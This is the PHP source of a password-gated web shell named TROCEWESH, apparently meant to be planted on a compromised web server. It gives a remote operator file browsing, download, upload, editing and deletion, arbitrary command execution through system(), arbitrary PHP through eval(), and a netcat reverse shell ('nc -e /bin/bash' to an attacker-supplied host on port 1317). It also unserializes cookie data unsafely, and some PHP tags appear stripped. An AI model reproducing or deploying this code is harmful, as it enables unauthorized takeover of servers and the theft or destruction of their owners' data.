//ignore_user_abort(1);
set_time_limit(0);
ini_set("max_execution_time", 0);

function AR($name) {
if (isset($_GET[$name])) return $_GET[$name];
else if (isset($_POST[$name])) return $_POST[$name];
else if (isset($_COOKIE[$name])) return $_COOKIE[$name];
else return false;
}

if (md5(AR("password")) != "be0fd2af10e137a616e0a2f07af157f7") exit();
$start_time = microtime();
if (!isset($_COOKIE["password"])) setcookie("password", AR("password"), time() + 60 * 60);

$session_data = unserialize($_COOKIE["session_data"]);

if (isset($_GET["path"])) $session_data["path"] = $_GET["path"];
else if (isset($session_data["path"]));
else $session_data["path"] = __DIR__;

function add_folder_to_zip(&$zip, $from, $length){
if (!is_dir($from)) return false;
$files = @scandir($from);
if ($files == false) return false;
$files = array_diff($files, array(".",".."));
foreach ($files as $file) {
$file_path = "$from/$file";
$local_path = substr($file_path, $length);
if(is_dir($file_path)){
$zip->addEmptyDir($local_path);
if (add_folder_to_zip($zip, $file_path, $length) == false) return false;
} else if(is_file($file_path)) {
$zip->addFile($file_path, $local_path);
}
}
return true;
}

function delete_dir_file($path) {
if (is_dir($path)) {
$files = @scandir($path);
if ($files == false) return false;
$files = array_diff($files, array(".",".."));
foreach ($files as $file) {
if (is_dir($path.DIRECTORY_SEPARATOR.$file)) {
if (delete_dir_file($path.DIRECTORY_SEPARATOR.$file) == false) return false;
} else if (is_file($path.DIRECTORY_SEPARATOR.$file)) {
if (@unlink($path.DIRECTORY_SEPARATOR.$file) == false) return false;
}
}
if (@rmdir($path) == false) return false;
else return true;
}
else if (is_file($path)) {
if (@unlink($path) == false) return false;
else return true;
}
}

function copy_dir_file($from, $to){
if (is_dir($from)) {
$files = @scandir($from);
if ($files == false) return false;
if (!file_exists($to)) mkdir($to);
$files = array_diff($files, array(".",".."));
foreach ($files as $file) {
if (is_dir($from.DIRECTORY_SEPARATOR.$file)) {
if (@mkdir($to.DIRECTORY_SEPARATOR.$file) == false) return false;
if (copy_dir_file($from.DIRECTORY_SEPARATOR.$file, $to.DIRECTORY_SEPARATOR.$file) == false) return false;
}
else if (is_file($from.DIRECTORY_SEPARATOR.$file)) {
if (@copy($from.DIRECTORY_SEPARATOR.$file, $to.DIRECTORY_SEPARATOR.$file) == false) return false;
}
}
} else if (is_file($from)) {
if (@copy($from, $to) == false) return false;
}
return true;
}

function view_size($size) {
if ($size >= 1073741824) return round($size / 1073741824 * 100) / 100 ." GB";
else if ($size >= 1048576) return round($size / 1048576 * 100) / 100 ." MB";
else if ($size >= 1024) return round($size / 1024 * 100)/100 ." KB";
else return $size . " B";
}

function view_perms($file) {
$perms = @fileperms($file);
if ($perms == false) return false;

if (($perms & 0xC000) == 0xC000) {
$info = 's';
} else if (($perms & 0xA000) == 0xA000) {
$info = 'l';
} else if (($perms & 0x8000) == 0x8000) {
$info = '-';
} else if (($perms & 0x6000) == 0x6000) {
$info = 'b';
} else if (($perms & 0x4000) == 0x4000) {
$info = 'd';
} else if (($perms & 0x2000) == 0x2000) {
$info = 'c';
} else if (($perms & 0x1000) == 0x1000) {
$info = 'p';
} else {
$info = 'u';
}

$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));

$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));

$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

return $info;
}

if (file_exists($_GET["download"]) && isset($_GET["download"])) {
if (is_dir($_GET["download"])) {
$zip = new ZipArchive();
$zip->open(basename($_GET["download"]).".zip", ZipArchive::CREATE);
if (add_folder_to_zip($zip, $_GET["download"], strlen(dirname($_GET["download"]).DIRECTORY_SEPARATOR)) == false) $out = "Failed To Download Folder - ".$_GET["download"];
else {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($_GET["download"]).".zip");
header("Content-Transfer-Encoding: binary");
readfile(basename($_GET["download"]).".zip");
}
$zip->close();
} else if (is_file($_GET["download"])) {
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".basename($_GET["download"]));
header("Content-Transfer-Encoding: binary");
readfile($_GET["download"]);
}
}

if (file_exists($_GET["delete"]) && isset($_GET["delete"])) {
if (delete_dir_file($_GET["delete"]) == false) $out = "Failed To Delete - ".$_GET["delete"];
}

if (isset($_GET["delete_paste"])) {
if (isset($session_data["copy"])) unset($session_data["copy"]);
if (isset($session_data["cut"])) unset($session_data["cut"]);
}

if (isset($_GET["copy"]) && !isset($_GET["cut"]) && !isset($session_data["cut"])) {
$session_data["copy"] = $_GET["copy"];
} else if (isset($session_data["copy"]) && isset($_GET["paste"])) {
if (file_exists($_GET["paste"].DIRECTORY_SEPARATOR.basename($session_data["copy"]))) $out = "The ".$_GET["paste"]." file already exists";
else if (copy_dir_file($session_data["copy"], $_GET["paste"].DIRECTORY_SEPARATOR.basename($session_data["copy"])) == false) $out = "Failed to Copy the ".$session_data["copy"]." to the ".$_GET["paste"].DIRECTORY_SEPARATOR.basename($session_data["copy"]);
unset($session_data["copy"]);
}

if (isset($_GET["cut"]) && !isset($_GET["copy"]) && !isset($session_data["copy"])) {
$session_data["cut"] = $_GET["cut"];
} else if (isset($session_data["cut"]) && isset($_GET["paste"])) {
if (file_exists($_GET["paste"].DIRECTORY_SEPARATOR.basename($session_data["cut"]))) $out = "The ".$_GET["paste"].DIRECTORY_SEPARATOR.basename($session_data["cut"])." file already exists";
else if (@rename($session_data["cut"], $_GET["paste"].DIRECTORY_SEPARATOR.basename($session_data["cut"])) == false) $out = "Failed to Move the ".$session_data["cut"]." to the ".$_GET["paste"];
unset($session_data["cut"]);
}

if (isset($_GET["make_dir"])) {
if (file_exists($_GET["make_dir"])) $out = "The ".$_GET["make_dir"]." directory already exists";
else if (@mkdir($_GET["make_dir"]) == false) $out = "Failed to create the ".$_GET["make_dir"]." directory";
}

if (is_uploaded_file($_FILES["file"]["tmp_name"])) {
if (file_exists($_GET["to_path"]) || isset($_GET["to_path"])) {
move_uploaded_file($_FILES["file"]["tmp_name"], $to_path.$_FILES["file"]["name"]);
$out = "File Uploaded to ".$_GET["to_path"].$_FILES["file"]["name"];
} else {
$out = "Failed To Upload File - ".$_GET["to_path"].$_FILES["file"]["name"];
}
}

$os = strtolower(substr(PHP_OS, 0, 3));
if ($os == "lin") {
$back_connect = $_GET["back_connect"];
if ($back_connect != "") {
$out = system("nc -e /bin/bash ".$back_connect." 1317");
}
}
$session_data = serialize($session_data);
setcookie("session_data", $session_data, time() + 60 * 60);
$session_data = unserialize($session_data);
$path_url = explode('?', $_SERVER['REQUEST_URI'])[0];




TROCEWESH <title>TROCEWESH</title>
<style>
body {color: #f4f4f4; background-color: #2B2A33; word-wrap: break-word; margin-top: 2%; margin-bottom: 2%; font-family: font;}
@font-face {font-family: font; src: local("Trebuchet MS");}
textarea {color: #f4f4f4; background-color: #2B2A33;}
a {color: #f4f4f4; text-decoration: none;}
a:hover {color: #a8a8a8;}
input {color: #f4f4f4; background-color: #2B2A33;}
::selection {color: #2B2A33; background-color: #f4f4f4;}
.data {text-align: left; padding: 1%; overflow: auto; border: solid 1px #f4f4f4;}
.text-block {margin-top: 1%; margin-right: 15%; margin-left: 15%; margin-bottom: 1%;}
</style>


<div class="text-block">

<div style="font-size: 150%;"><a href=" echo $path_url; ">TROCEWESH</a></div>


if (isset($_GET["edit_file"]))
{
if (isset($_POST["save_text"])) {
if (@file_put_contents($_GET["edit_file"], $_POST["edit_text"]) == false) $out = "Data could not be written to the ".$_GET["edit_file"]." file";
else $out = "The data is stored in ".$_GET["edit_file"];
} else {
$file_data = @file_get_contents($_GET["edit_file"]);
echo "

<input type=\"submit\" name=\"save_text\" value=\"Save\">&nbsp;
<input type=\"button\" onclick=\"location.href='".$path_url."';\" value=\"Back\">


".$_GET["edit_file"]."

<textarea name=\"edit_text\" cols=\"100\" rows=\"20\">".htmlspecialchars(($file_data == false) ? "" : $file_data)."</textarea>
";
}
}
if ($os == "win") {
$ls = "";
foreach (range("A","Z") as $l) {
$di = $l . ":".DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR;
if (is_dir($di)) {
$ls .= "<a href=?path=" . urlencode($di) . ">[" . $l . "]</a>&nbsp;";
}
}
if (!empty($ls)) echo "Detected drives: " . $ls . "

";
}
echo "<div style=\"width: 80%; height: 40%;\" class=\"data\">";
$path = $session_data["path"];
if ($path == "") $path = AR("path");
else if ($path == false) $path = __DIR__;

$count_files = 0;
$count_directories = 0;

if (is_dir($path)) {
echo "<table rules=\"all\" cellpadding=\"3%\" border=\"1\" width=\"100%\"><tbody>";
echo "<td style=\"text-align: center;\" colspan=\"6\">" . $path . "FileTypeLast modifiedPermsSizeAction";
$path_scan = @scandir($path);
echo "<a href=\"?path=".urlencode(realpath($path.DIRECTORY_SEPARATOR.".."))."\">&larr;</a>LINK".((isset($session_data["cut"]) || isset($session_data["copy"])) ? "<a href=\"?paste=".urlencode($path)."\"><img alt=\"Paste\" src=\"data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAGUExURfT09AAAAJ/Ula0AAAACdFJOU/8A5bcwSgAAAAlwSFlzAAAOwwAADsMBx2+oZAAAAChJREFUKFNjYEQDEAEGMIAwITyYKEQAwkbigZWCwWAXQAIo0iDAyAgAavsAy5aAWx4AAAAASUVORK5CYII=\"/></a>|<a href=\"?delete_paste\"><img alt=\"Delete Paste\" src=\"data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAGUExURfT09AAAAJ/Ula0AAAACdFJOU/8A5bcwSgAAAAlwSFlzAAAOwgAADsIBFShKgAAAACVJREFUKFNjYEQDEAEGMIAwoRwYAKlA0gXhDR0BJN9AxJABIyMAasgAzSIoRqsAAAAASUVORK5CYII=\"/></a>" : "")."";
if ($path_scan) {
$path_scan = array_diff($path_scan, array(".", ".."));
foreach ($path_scan as $file) {
$file_path = $path.DIRECTORY_SEPARATOR.$file;
if (is_dir($file_path)) {
$count_directories++;
$type = "DIR";
$size = false;
$size = (($size == false) ? "ERROR" : view_size($size));
}
else if (is_file($file_path)) {
$count_files++;
$type = "FILE";
$size = @filesize($file_path);
$size = (($size == false) ? "ERROR" : view_size($size));
}
echo "";
$name = ($file_path == $session_data["copy"] || $file_path == $session_data["cut"]) ? "<s>$file</s>" : $file;
if ($type == "DIR") echo "<a href=?path=".urlencode($file_path).">".$name."</a>";
else echo "".$name."";
echo "".$type."";
$file_time = @filemtime($file_path);
echo "".(($file_time == false) ? "ERROR" : date("Y.m.d H:i:s", $file_time))."";
$file_perms = view_perms($file_path);
echo "".(($file_perms == false) ? "ERROR" : $file_perms)."";
echo "".$size."";
echo "";
if ($type == "FILE") {
echo "<a href=?edit_file=".urlencode($file_path)."><img alt=\"Edit\" src=\"data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAGUExURfT09AAAAJ/Ula0AAAACdFJOU/8A5bcwSgAAAAlwSFlzAAAOwwAADsMBx2+oZAAAAEFJREFUKFNdjjkCADAIwvT/n64HKJVBSTpY8xMV1UVYwQrQCL5TDEH0asuGuUOmcq6PY5//4NQw+nKKCCCjPeL+AHjgAOCMyESaAAAAAElFTkSuQmCC\"/></a>|";
}
echo "<a href=?download=".urlencode($file_path)."><img alt=\"Download\" src=\"data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAABEAAAAQCAMAAADH72RtAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAGUExURfT09AAAAJ/Ula0AAAACdFJOU/8A5bcwSgAAAAlwSFlzAAAOwgAADsIBFShKgAAAADBJREFUKFNjYEQHcJGBY4AIGIZKAUkIgrAhFAhCmVCaAc6C0lgYcADUjgow1DAyAgCNkwDuWXCR8wAAAABJRU5ErkJggg==\"/></a>|";
echo "<a href=?delete=".urlencode($file_path)."><img alt=\"Delete\" src=\"data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAGUExURfT09AAAAJ/Ula0AAAACdFJOU/8A5bcwSgAAAAlwSFlzAAAOwgAADsIBFShKgAAAACVJREFUKFNjYEQDEAEGMIAwoRwYAKlA0gXhDR0BJN9AxJABIyMAasgAzSIoRqsAAAAASUVORK5CYII=\"/></a>";
if (!isset($session_data["copy"]) && !isset($session_data["cut"])) {
echo "|<a href=?copy=".urlencode($file_path)."><img alt=\"Copy\" src=\"data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAGUExURfT09AAAAJ/Ula0AAAACdFJOU/8A5bcwSgAAAAlwSFlzAAAOwwAADsMBx2+oZAAAADdJREFUKFO1jNEKADAIAvP/f3rTSUnvOyLsigoLijIjlK5X514zo3uLVyP0JwT5KYK9101gGQAHZYAAuSF2s90AAAAASUVORK5CYII=\"/></a>|";
echo "<a href=?cut=".urlencode($file_path)."><img alt=\"Cut\" src=\"data:image/png;base64, iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAGUExURfT09AAAAJ/Ula0AAAACdFJOU/8A5bcwSgAAAAlwSFlzAAAOwwAADsMBx2+oZAAAAD9JREFUKFN9jAEKACAMArf/fzrctKwoodAzizzkoLyBth9QLnYQOIzo+EaGVY3UQg3sr44ry/mEt8gDXJOpzAF4IADfipHlpAAAAABJRU5ErkJggg==\"/></a>";
}
echo "";
echo "";
}
}
echo "</tbody>";
}
echo "</div>";
echo "
Count files: $count_files | Count directories: $count_directories";

<hr style="color: #f4f4f4;">

<div style="width: 40%; height: 20%; text-align: center;" class="data">

To Dir:




Make Dir:




Make File:




CMD:




EVAL:




To Path:

<div style="white-space: nowrap;">
Upload:
</div>


if ($os == "lin") {
echo "

BACK CONNECT:

<input type=\"text\" name=\"back_connect\">
<input type=\"submit\" value=\"Send\">

(nc -nlvp 1317)
";
}

</div>

<hr style="color: #f4f4f4;">

<div style="width: 80%; height: 40%;" class="data"><pre>
$cmd = $_GET["cmd"];
$eval = $_GET["eval"];
if ($out != ""){
echo $out;
}
else if ($cmd != ""){
system($cmd);
}
else if ($eval != "") {
eval($eval);
}
else {
echo "Uname: ".Linux Server 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC x86_64."
";
echo "Temp Dir: <a href=?path=".urlencode(sys_get_temp_dir()).">".sys_get_temp_dir()."</a>
";
echo "Home Path: <a href=?path=".urlencode(__DIR__).">".__DIR__."</a>
";
echo "Server: ".$_SERVER['SERVER_NAME'].' '.$_SERVER["SERVER_ADDR"].' '.$_SERVER['SERVER_SOFTWARE']."
";
echo "PHP Version: ".phpversion()."
";
echo "PHP OS: ".PHP_OS."
";
echo "Safe Mode: ";
if (ini_get("safe_mode") or strtolower(ini_get("safe_mode")) == "on") echo "ON";
else echo "OFF";
echo "
Starting Time: ".round(microtime() - $start_time, 4);
}

</pre></div>

</div>